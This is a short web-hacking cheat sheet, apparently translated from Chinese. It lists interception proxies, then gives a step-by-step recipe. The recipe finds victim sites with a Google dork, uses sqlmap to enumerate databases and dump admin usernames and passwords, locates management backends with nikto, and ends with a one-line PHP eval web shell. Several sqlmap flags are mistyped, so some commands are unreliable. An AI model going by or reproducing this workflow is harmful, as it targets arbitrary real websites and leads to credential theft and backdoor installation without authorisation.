#Proxy interception tool
mitmproxy -p 8800 #Configure proxy
owasp-zap (attack proxy ZAP) is a comprehensive penetration testing tool
package for finding web application vulnerabilities. It includes interception proxy, automatic proxy, passive processing, brute force cracking, port scanning and spider search functions.
Burp Suite is an integrated platform for attacking web applications.
Proxy Burp Suite comes with a proxy that runs on the default port 8080. Use this proxy.
proxyStrike v2.1 proxy tool
webscarab agent software includes http proxy, web crawler, web spider, session ID analysis, automatic script interface, fuzz testing tool,
web format encoding/decoding, WEB service description language and SOAP parser and other functional modules. webScarab is based on the GNU protocol and is written in JAVA. It is one of the tools used in WEBGoat
Find test targets through google hack:
Search -> company inurl:asp?id=
1. Test the digital injection point
2. Disassemble the database and table name with sqlmap
3. Dump table data
4. Log in to the background
'
Read database version, current user, current database
sqlmap -u URL -f -b -current-dbs -curent-user -v 1
sqlmap -u URL --tables #List tables that may be attacked
sqlmap -u URL -T uname --columns #List useful columns
sqlmap -u URL -T uname - C login_name,pass,username --dump #-C specifies the column to be found, --dump
SQL injection of a PHP site:
1. Test the numeric injection point
2. Sqlmap dismantles the database and table names
3. Dump table data
4. Use nikto to help find hidden directories
5. Use the hidden information in the web page code to find the management backend
sqlmap -u url --dbs --current-user
sqlmap -u URL --dbs --dbms mysql -D cmxt --tables #cmxt is the database
sqlmap -u URL --dbs --dbms mysql --tables #Do not specify a database
sqlmap -u URL --dbs --dbms mysql -T admin -columns #View column results
sqlmap -u URL --dbs --dbms mysql -T admin -C user,pwd --dump #Query the value of a specific column
nikto -host primary domain name #Check the corresponding directory of the website to check for existing vulnerabilities.
fiddler :autoresponser returns the corresponding web page. To elevate authority.
<?php eval($_POST[x]);?> One sentence password